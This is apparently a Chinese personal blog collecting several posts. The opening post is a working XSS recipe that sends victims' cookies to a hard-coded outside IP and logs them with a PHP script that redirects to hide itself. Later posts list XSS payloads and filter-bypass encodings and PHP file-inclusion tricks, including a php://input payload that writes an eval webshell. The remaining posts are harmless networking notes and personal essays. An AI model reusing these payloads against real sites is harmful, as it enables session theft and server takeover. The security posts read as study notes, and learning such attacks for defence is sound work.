xss漏洞窃取cookie

Step 1: 在自己的vps主机上创建HTML Test 页

编辑1.html,加入代码

<script type=”text/javascript”>

document.location=’http://101.200.240.56/1.php?c=’+document.cookie;

</script>

此处IP为目标主机IP,将获取的cookie写入1.php
Step 2: 用PHP处理Cookies
为防止窃取cookie的1.php文件被发现,将其重定向到其他页面,然后产生日志,将cookie写进日志里。
<?php
header (‘location:http://baidu.com’);
$cookie=$_GET[c];
$file=fopen(‘log.text’,’a’);
fwrite($file,$cookie);
?>
此处重定向到百度搜索页面。
Step 3: XSS漏洞利用
将xss漏洞指向建立的html文件,利用完成。
  • xss漏洞窃取cookie已关闭评论

XSS

XSS常用的测试语句:

<script>alert(1)</script>

<img src=x onerror=alert(1)>

<svg onload=alert(1)>

<a href=javascript:alert(1)>

1 常用的绕过

常见的XSS的绕过编码有JS编码、HTML实体编码和URL编码

A:JS编码

JS提供了四种字符编码的策略,如下所示:

三个八进制数字,如果个数不够,在前面补0,例如“e”的编码为“\145”。

两个十六进制数字,如果个数不够,在前面补0,例如“e”的编码为“\x65”。

四个十六进制数字,如果个数不够,在前面补0,例如“e”的编码为“\u0065”。

对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)。

B: HTML实体编码

命名实体:以&开头,以分号结尾如 “<”的编码是“<”。

字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为“&#数值”。例如”<”可以编码为“<”和“<”。

C: URL编码

这里的URL编码,也是两次URL全编码的结果,如果alert被过滤,结果为

%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34

在使用XSS编码测试时,需要考虑HTML渲染的顺序,特别是针对多种编码组合时,要选择合适的编码方式进行测试。

https://zhuanlan.zhihu.com/p/88013741

  • XSS已关闭评论

PHP伪协议总结

file:// 协议

  • 条件
    • allow_url_fopen:off/on
    • allow_url_include :off/on
  • 作用
    用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopenallow_url_include的影响。
    include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。
  • 说明
    file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen()file_get_contents()include_path 会可选地搜索,也作为相对的路径。
  • 用法
    /path/to/file.ext
    relative/path/to/file.ext
    fileInCwd.ext
    C:/path/to/winfile.ext
    C:\path\to\winfile.ext
    \\smbserver\share\path\to\winfile.ext
    file:///path/to/file.ext
  • 示例
    1. file://[文件的绝对路径和文件名]
      http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
    2. [文件的相对路径和文件名]
      http://127.0.0.1/include.php?file=./phpinfo.txt
    3. [http://网络路径和文件名]
      http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
  • php:// 协议

  • 条件
    • allow_url_fopen:off/on
    • allow_url_include :仅php://input php://stdin php://memory php://temp 需要on
  • 作用
    php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://inputphp://filter用于读取源码php://input用于执行php代码
  • 说明
    PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,
    内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
  • php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。
    php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
    php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
    php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
    php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
  • php://filter参数详解该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
    php://filter 参数 描述
    resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
    read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。
    write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。
    <; 两个链的过滤器> 任何没有以 read=write= 作前缀的筛选器列表会视情况应用于读或写链。
  • 可用的过滤器列表(4类)此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php
    字符串过滤器 作用
    string.rot13 等同于str_rot13(),rot13变换
    string.toupper 等同于strtoupper(),转大写字母
    string.tolower 等同于strtolower(),转小写字母
    string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
    转换过滤器 作用
    convert.base64-encode & convert.base64-decode 等同于base64_encode()base64_decode(),base64编码解码
    convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
    压缩过滤器 作用
    zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
    bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。
    加密过滤器 作用
    mcrypt.* libmcrypt 对称加密算法
    mdecrypt.* libmcrypt 对称解密算法

示例

  1. php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
    http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
  2. php://input + [POST DATA]执行php代码
    http://127.0.0.1/include.php?file=php://input
    [POST DATA部分]
    <?php phpinfo(); ?>

    若有写入权限,写入一句话木马

    http://127.0.0.1/include.php?file=php://input
    [POST DATA部分]
    <?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

zip:// & bzip2:// & zlib:// 协议

  • 条件
    • allow_url_fopen:off/on
    • allow_url_include :off/on
  • 作用zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
  • 示例
    1. zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
      http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
    2. compress.bzip2://file.bz2压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
      http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
    3. compress.zlib://file.gz压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
      http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
  • 参考http://php.net/manual/zh/wrappers.compression.php

data:// 协议

  • 条件
    • allow_url_fopen:on
    • allow_url_include :on
  • 作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
  • 用法
    data://text/plain,
    data://text/plain;base64,
  • 示例
    1. data://text/plain,
      http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
    2. data://text/plain;base64,
      http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

http:// & https:// 协议

  • 条件
    • allow_url_fopen:on
    • allow_url_include :on
  • 作用:常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
  • 用法
    http://example.com
    http://example.com/file.php?var1=val1&var2=val2
    http://user:password@example.com
    https://example.com
    https://example.com/file.php?var1=val1&var2=val2
    https://user:password@example.com
  • 示例
    http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

phar:// 协议

phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

另外在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术

因为该利用点需要满足一定的条件才能利用,可以参考下面这篇文章,里面的demo也非常详细,留作以后专门研究一下。

https://paper.seebug.org/680/

 

 

 

 

  • PHP伪协议总结已关闭评论

kali学习记录(一)

今天主要学习了两点内容。

一是用bp破解了一个ctf上面的很简单的密码,主要是学习字典的用法,和暴力破解的思路。

二是学习了post/get方法,也是ctf上面的很简单的一道题目。主要也是熟悉get和post方法。

当然还有其他杂七杂八的一些琐碎的内容,比如robots文件是用来实现爬虫网站的爬虫,一般备份文件后面带.bak后缀等,还有cookie和session等相关的一些内容。

  • kali学习记录(一)已关闭评论

2022年随便写点

好久没写东西,主要还是懒。想表达的太多,不知道从何处开始,就随便写点什么吧。

今天看了一个电影,大象席地而坐,将近四个小时,却一点也没感觉拖沓,看完甚至有点意犹未尽。一个将要被子女安排进养老院的退伍老头,一个为朋友出头惹事的少年和他的女友,一个睡了朋友老婆的混混,几个人的命运相互交织在一起,在这个太快,太忙,太纷纷扰扰的世界的夹缝中生存,有着太多的压抑,太多的纠葛,太多的不在乎,太多的无人问津。

前段时间上虞疫情,流调结果一出来,看到的是底层人民最真实的生活状态。2,3点多起床,去水产市场批发,送孩子去上学,做完一天生意,在学校门口等孩子放学,日复一日。想起以前姨种菜卖的时候,也是天天两三点起来,每天早出晚归,不辞辛劳。上个月,有个同事的爸爸去世了,猝死,才53岁,死之前还在和客户谈生意。去看望同事的时候,同事哭着说他爸前几天已经不舒服,但是由于家里的厂子太忙,没时间去好好检查,没想到这么突然。去年夏天,姑父也是猝死,54岁,表弟还在上大学。说了很多年,工作太忙太累,想早点把厂子关了退休,再想想趁年轻还干得动多干几年。想不到离开也竟是这么快,尽管还有太多的放不下。但是上天从来不由人。其实浙江有太多太多的这种家庭式的小作坊,基本上一个人撑起来一片天。经济的发展,国家的政策自然功不可没,但更多靠的是普通百姓的奋斗和拼搏。

太快的步伐,确实使得太多的人跟不上节奏,以至于被社会所忽略,所遗忘。西安的疫情,有人骑共享单车百公里回家,有人翻越秦岭回家,有人横渡渭水被困,网友们觉得他们很厉害,其实更多是生活所迫。要是隔离起来,十几天可能四五千的收入就没了。对于普通的白领可能四五千人算不上什么,但是要记得李总理说过,中国很多人月均收入都还不到一千元。

我们总是说,要实现民族的伟大复兴,要为人民谋幸福,要实现共同富裕。有一句老话是这么说的:富在深山有远亲,穷在街头无人问。我觉得一个民族的伟大,不在于在世界民族之林屹立多高,而在于扎根于人民有多深;不在于最有钱的人是不是世界首富,而在于有人流落街头的时候有没有人伸出援助之手。

大道之行也,天下为公。选贤与能,讲信修睦,故人不独亲其亲,不独子其子,使老有所终,壮有所用,幼有所长,矜寡孤独废疾者,皆有所养。男有分,女有归。货恶其弃于地也,不必藏于己;力恶其不出于身也,不必为己。是故谋闭而不兴,盗窃乱贼而不作,故外户而不闭,是谓大同。

  • 2022年随便写点已关闭评论

数据链路层

数据链路层是传递帧(Frame),不同于物理层传递比特流(Bit)。数据链路层通过硬件的MAC(Media Access Control)地址进行转发。物理层设备的广播形式会造成网络拥塞,并且是不安全的。那么数据链路层的设备又会是怎么样的呢?下面来一一列举:

工作在数据链路层的设备主要有网卡、网桥和交换机。
网卡
网卡又称为网络适配器,涉及帧的发送与接收、帧的封装与拆分、数据的编码与解码等功能。MAC地址是用十六进制表示的,总共48位,前24位用来表示厂商编号,后24位用来表示设备序列号。
网桥
网桥(Bridge)是一种存储转发设备,可以隔离冲突域,意思就是当网桥已经学习到目标MAC地址是在某个端口上的,那么它就一定不会转发给另一个端口;只有当网桥不知道目标MAC地址在哪个端口上时才会广播。网桥通常只有两个端口,因此其具有两个冲突域和一个广播域。
交换机
交换机(Switch)维护着一张MAC地址表,最初MAC地址表示空的,随着慢慢地学习来丰富自己的MAC地址表。
交换机工作过程:根据源MAC地址学习,目标MAC地址转发。

具体表现为:

(1) 对于已知单播帧,发往目的地址;

(2) 对于未知单播帧,进行广播(发往除接受端口以外的所有端口);

(3) 对于广播帧或者组播帧,进行广播。

交换机通常具有8、12、16、24个,甚至是48个端口,那么它有几个端口,就有几个冲突域,但是其广播域还是只有一个。

总结
网桥和交换机的区别:

(1) 交换机的端口多于网桥;

(2) 交换机的数据传输速率高于网桥;

(3) 网桥是使用软件进行转发,而交换机是使用硬件进行转发,所以交换机的造价更低。

 

  • 数据链路层已关闭评论

伴随互联网应用的丰富及宽带速率日益提升,“猫(Modem)”的角色日益重要,根据家庭接入媒介的区别,当前宽带生态丛林中主要有三大猫族,光猫(光纤上行)、铜猫(电话线上行)、Cable猫(同轴电缆上行)。

下面就来简单了解一下这些“猫”族成员!
一、光猫族
擅长速度与长距离奔袭
光猫(也称ONT)是当前最火的猫族,依托光纤上行,以速度和长距离奔袭能力著称,是猫族中的明星种群。根据光纤中传递的不同网络信号,当前光猫族中有GPON、EPON、10G-PON(含XGS-PON)和40G PON等不同猫种,其速度从百兆到10G不等。
10G/40G-PON光猫,光猫中的长寿猫
10G/40G-PON光猫是光猫族中的万人迷,不仅速度快,而且寿命长,可以从千兆接入时代一直养到10G接入时代,为家庭带来千兆到10Gbps的带宽体验。

POL 猫,光猫中的职业猫
区别于其他放在家里的光猫,POL猫(Passive Optical LAN)主要放在园区和企业里。这类猫生活在对网络带宽、时延、维护要求都很高的企业办公环境中,因此必须具备和家猫不同的能力,比如:多接口、给IP电话机/AP/摄像头POE供电、支持TypeB保护等。

二、铜猫族

猫族中的主流种群
铜线猫(也称DSL猫)是猫族中历史最悠久的种群,也是目前全球家庭猫群中比例最大的猫族。伴随着超宽带的发展,铜线猫族中除了ADSL猫、VDSL猫等传统猫种,也衍生了SuperVector、G.fast等新兴猫种,成为超宽带时代的新生力量。
SuperVector猫 ,传统ADSL/VDSL的变种猫
SuperVector猫就是传说中的ADSL、VDSL的变种猫,在有些网速需求高,但站点和光纤改造难的场景下,运营商通过将传统ADSL/VDSL升级到SuperVector,其速率就可以立刻提升2~3倍,达到300Mbps,速度甚至超过普通百兆入户的光猫。

G. fast猫,铜猫族中的短跑冠军
要问铜线猫族的短跑冠军是谁?当前记录保持者就是G.fast猫。在100~150米距离内可以达到800M~1Gbps的速率。这款猫常用于部署在光纤到楼或光纤到街边、但难以入户的场景下,其速度堪比光猫。
Bonding Access猫 ,铜猫族中的混血猫
Bonding Access猫是铜猫族中真材实料的混血儿!不仅可以通过DSL铜线上行,还可以通过LTE无线上行,继承了铜线的高速与无线的灵活,双重优势。常用于补充用户忙时峰值带宽,或解决铜线暂时没有入户、未来将会入户的情况,帮助运营商现有网络快速提速或快速抢占市场。

三、Cable 猫族

有线电视网络的宽带猫
Cable 猫,有线电视网络的宽带猫
Cable猫,江湖独行的有线电视猫。它是基于有线电视网络,用户只要家里具备有线电视同轴接入就可以同时具备上网的功能。既能看电视,又能上网是Cable猫的看家本领!

  • 已关闭评论

中继器和集线器

中继器和集线器是LAN-LAN网络的互连设备。那中继器和集线器究竟是什么呢?它们的原理是什么?二者之间又有什么区别呢?。

1.中继器

中继器是位于第1层(OSI参考模型的物理层)的网络设备,即两个网络在物理层上的连接,要求物理层的协议是相同的。当数据离开源在网络上传送时,它是转换为能够沿着网络介质传输的电脉冲或光脉冲的——这些脉冲称为信号(signal)。当信号离开发送工作站时,信号是规划的,而且很容易辨认出来。但是,当信号沿着网络介质进行传送时, 随着经过的线缆越来越长,信号就会变得越来越弱,越来越差。中继器的目的是在比特级别对网络信号进行再生【放大信号】和重定时,从而使得它们能够在网络上传输更长的距离。

一般情况下, 中继器的两端连接的是相同的媒体, 但有的中继器也可以完成不同媒体的转接工作。从理论上讲中继器的使用是无限的, 网络也因此可以无限延长。事实上这是不可能的, 因为网络标准中都对信号的延迟范围作了具体的规定, 中继器只能在此规定范围内进行有效的工作, 否则会引起网络故障。以太网络标准中就约定了一个以太网上只允许出现5个网段, 最多使用4个中继器, 而且其中只有3个网段可以挂接计算机终端。

使用中继器扩充网络距离是最简单、最廉价的方法,但是使用中继器所扩展的网络所有的连网设备都具有相同的工作带宽,处于一个相同的网段上,常把这种网络称为介质共享网络或者共享式局域网。

2.集线器(hub)

集线器的目的是对网络信号进行再生和重定时。它的特性与中继器很相似(被称为多端口中继器multiport repeater)。HUB是网络中各个设备的通用连接点,它通常用于连接LAN的分段。HUB含有多个端口。每一个分组到达某个端口时,都会被复制到其他所有端口,以便所有的LAN分段都能看见所有的分组。集线器并不认识信号、地址或数据中任何信息模式。

集线器的构成:集线器是中继器的一种形式,也称为盒装总线,如图2所示,所以集线器连接的计算机是共享同一物理带宽的。正是因为这个特点,集线器不适合用来构建大型网络。集线器也工作在OSI/RM中的物理层。

集线器又分成:能动式,被动式,混合式。

1、动能式:对所连接的网络介质上的信号有再生和放大的作用,可使所连接的介质长度达到最大有效长度,需要有电源才能工作,目前多数HUB为此类型。

2、被动式只充当连接器,其不需要电源就可以工作,市场上已经不多见。

3、混合式:可以连接多种类型线缆,如同轴和双绞线。

集线器能够创建于总线方式相同的争用环境,当一台设备进行传输时,集线器上其他的设备都会监听它,并且争取下一次的传输权利。因此,连接在集线器上的设备将平分该集线器所拥有的带宽。并且在同一集线器上的设备属于同一个冲突域。

中继器和集线器的区别

1.在于连接设备的线缆的数量。一个中继器通常只有两个端口,而一个集线器通常有4至20个或更多的端口。

2.中继器只起到连接的作用,而集线器则还有分配网络资源的作用,所以说集线器的功能上要比中继器的强。

3.中继器主要功能是通过对数据信号的重新发送或者转发,来扩大网络传输的距离;集线器的主要功能是对接收到的信号进行再生整形放大,以扩大网络的传输距离,同时把所有节点集中在以它为中心的节点上。

  • 中继器和集线器已关闭评论

关于相亲

相亲,除了身高颜值财富,提到最多的莫过于三观。不同于前者,可以有具体的数据衡量,三观一致,则属于一个抽象化的概念。每一个个体,都有不同的家庭,接受不同的教育,走过不同的路,翻过不同的山,遇到过不同的人,每一个个体都是独一无二的存在。世界上没有完全相同的两片叶子。

所谓三观一致,更通俗化一点说,其实就是合适。也正是传统意义上的“门当户对”。特地去百度了一下这个成语,门当户对:结亲的双方和家庭经济、社会地位对等。我很好奇为什么只提到经济和社会地位,后来想了想,古代大多数女性往往足不出户,相夫教子,并没有和男性接受同等的教育,所以并没有提及文化这方面因素。现如今,文化和思想的交流亦是举足轻重。至于没有提到身高颜值,以前黄花闺女深藏高阁,哪有男女见面的机会,偷偷翻墙私会那都能写书成经典传颂。估计全靠父母们八字一对,听天由命。那么,按照现在的观点,合适二字,大致总结来看,就是身高颜值、经济、文化、社会地位几个方面。

身高颜值就不必多说。经济基础,字面上的意思,人们常说的有房有车;文化,初中高中大专本科硕士博士。学历并不代表文化和修养。但是每个人脸上没有写着你有文化我没修养,只好这样生硬一点区分。而社会地位,则是不同的阶层。不同的阶层,则有不同的特质。譬如老教授,言行举止总会透出书生意气,或者说带一点迂腐;生意做久,不知不觉,会沾染点市侩气,不精打细算的生意人,早就内裤本都亏完了;官场浸淫多年,官僚气在举手投足之间就透露出来。和做学术的人谈生意,和生意人谈之乎者也,可谓是牛头不对马嘴。我是耕田的,你会织布,那叫男耕女织,日出而作,日落而息;我是耕田的,你是七仙女,那叫牛郎织女,一年见一次,再过几十天你下凡省亲,我坟头草都已经几米高了。这就是阶层的距离。 说了那么多,有没有完美的人呢?身高颜值拉满,家庭经济好,又有文化又有修养。肯定有。我对着镜子撒了泡尿,发现自己是个矮矬穷,胡子邋遢一米五,然后惊醒了,原来在做梦。真是梦里什么都有。对照自己,看看能划掉几个选项,再称一称。

也算是写给老大不小的自己吧。

  • 关于相亲已关闭评论

我的奶奶

在香烛点燃的那一刻,就已经注定要流完最后一滴泪,被风带走最后一缕烟。

在灵堂前酒满的那一刻,洒半杯敬苍天,半杯敬大地。

家门口有两棵栀子花。今年老爸除虫前,除过草的药水箱没洗干净,死了一棵。记得一年级的时候,奶奶会摘栀子花到小学校门口卖,一毛钱一朵。那时候大家喜欢把栀子花瓣一片片摘下来,夹在书里,书本就闻起来香香的。我也一起跟着叫卖,一会儿功夫就把花卖完了。那个时候,栀子花还不是种在我家。爷爷奶奶在鱼塘养鱼,鱼塘一圈三面种了桃树,最后一面有几块菜地和这两棵栀子花。有时奶奶出去卖鱼,也会带上我,我吆喝起来特别起劲。没鱼卖时,也会去卖菜,卖桃子。我坐在三轮车上,看到路边有空的塑料瓶,就会很兴奋地叫起来,叫奶奶停下去捡。塑料瓶好像能卖一毛一个。每次捡到空瓶子空纸盒,奶奶就会夸我眼神好,然后我就更加一刻不停地看路两边有什么值得捡的“财宝”。

爷爷去世后,奶奶学会了念经挣点小钱。而我,从负责吆喝,变成负责给奶奶叠“元宝”。一个“元宝”要念好几柱香,一天能念几个元宝,一个元宝加上其他一些纸钱,好像能卖十几块。到了清明七月半等等节次,奶奶的元宝拿去城里卖,每次总是供不应求。到了初中高中,每次回来都会拿一大摞黄纸,让我帮忙叠好。以前我开玩笑说,卖元宝这么赚钱,直接叠起来卖不就行了。她很严肃地说,这个千万不行的,以后死了要被阎罗王割舌头的。奶奶告诉我,一般的黄纸直接烧出来是黄色的火焰,念过的烧出来是蓝盈盈的火,后面烧的时候还演示过好几次。也不明白是原因,我现在觉得,可能是念过的元宝上,可能沾了口水的缘故。奶奶念经时,要是有人进来讲滩头,她就会先把香熄灭。说完话再点了继续念。她说讲空话的时候要是香燃着,就会念进去的。有些年轻的陌生买家会很“精明”,会问到底有没有念过,因为确实会有些专门叠这个卖赚钱的。这时奶奶就会开始念经,来说明是会念,是念过的。往往还没念完买家就买走了,我觉得九成卖家都听不懂也不关心她到底在念什么。

后半夜,请来做法事的老师傅,在那写榜,一支破毛笔,一张破纸就写出一手很漂亮的小楷。我问老师傅,是哪个宗派的,老师傅说是天台宗。我说天台宗的祖庭在国清寺,以前去过。他说是。我问天台宗推崇的好像是法华经,老师傅变得有点支支吾吾了。老师傅说,我们这边主要就是天台宗,这边也有五台山的宗派,他们和我们的做法不一样,是竞争对手。原来这也是商业。再后面,他们开始拜忏的时候,我问旁边平时有白事负责喊这些人的大叔,他们是和尚么?大叔说是。那我又问,那他们不是说也能做道场?大叔说是。我问,做道场的是道士,拜忏的是和尚,那他们又能做道士又能做和尚呢?大叔挠了会头没回答上来,在坐的亲友也回答不来。后来,我看到一张贴的榜山,写着奶奶去世的时间和头七到五七的日期。晚上十点多是亥时,错写成了辰时。我也没说。奶奶生于丙戌年己亥月丙午日壬辰时,逝于己亥年癸酉月壬子日辛亥时。迷信一点说,丙午日元,以土卫水为用,流年为天门之水,又逢月酉泄土气,日支子午大冲,至时丙辛化水而西归。这是马后炮了。

很多时候,很多事情,在乎的仅仅是一个过程,其实这个过程不管对错与否,都无关结局,或者说人们都只是想给自己早就已经给出的答案一个让大家都有及格的分数而已。我在想:到底悲剧的本身,是过程的跌宕起伏,还是已经注定的结局,抑或是两者的结合,才组成了悲剧。就像这香烛,在点燃的那一刻,无论什么过程,都注定要熄灭。只不过,有的快一点,有的慢一点,仅此而已。是快一点的更加悲剧,还是慢一点的更加悲剧?我说不清楚。香烛燃尽后,快慢对于他们来说就是不存在的东西,无所谓存在,又从何谈起那个更加悲剧一点呢?如果死亡,我们以前的悲欢离合又将在何处?如果没有了,又怎么会拥有过?

整理遗物,翻出来一本笔记本。是爷爷以前记事的。有一页字和其他的完全不同,歪歪扭扭,有大有小。是奶奶在爷爷死后写的。奶奶只念过几年小学,没什么文化。上面说,做人一辈子,没有功劳,也没有苦劳。也不知道做人是为了什么,感觉就是做一天人就活一天。一辈子,生了一个大儿子,一岁死了。现在有一个儿子,三个女儿,一个孙子,三个外甥。反正人到最后都要死的。我看了才知道,原来爸爸上面还有过一个儿子。

奶奶穿着衣服盖着被子被推进了火炉。就像家里烧柴火的炉灶一样,火化炉有个小门可以打开看。我看着棉被被烧成了灰,看着衣服被烧成了灰,看着奶奶的头在火焰山,身子在火焰上。看着皮肤因为火烤而涨起来变大,脸上起了一个个泡,炸开了。就像烫伤一样。肚子也涨开,露出很厚很厚的黄色脂肪。爸爸看了一会,其他人不敢看,我就这样看着。还闻到了人肉烧焦的味道。然后小门就被关上,估计是负责人怕我继续看下去心理承受不住。中间开过几次,说家属可以看一下,基本就只剩骨头。我看着,就想到了奶奶那一句,人都是要死的。不知道,她是怀着怎样的心情写下这些话的。

去火化路上的时候,殡仪馆的车子开得跟飞一样。因为殡仪车只能坐得下爸爸和三个姑姑,我和另一个车子跟在后面。我说这车子怎么开这么快,开100都没追上,要不是姑父认识路我都不知道往哪走了。后来大家讨论起来才想起来可能是太匆忙可能是忘给司机师傅烟的缘故。亲友很生气,说要投诉,回程换了一个司机,开得很慢。后来想想也有好处,开得快,第一波就排上,再过一会就要等好几个小时排第二波火化,倒是给我们省去了很多时间。这只是其中一件小小的事。这几天,我感觉就像一面镜子,搭起了一个舞台。舞台是镜子,镜子上面是人。人们站在舞台上,镜子照着每一个人。我们都只看着镜中的别人,没看到镜中的自己。

人都会死的。

  • 我的奶奶已关闭评论

return top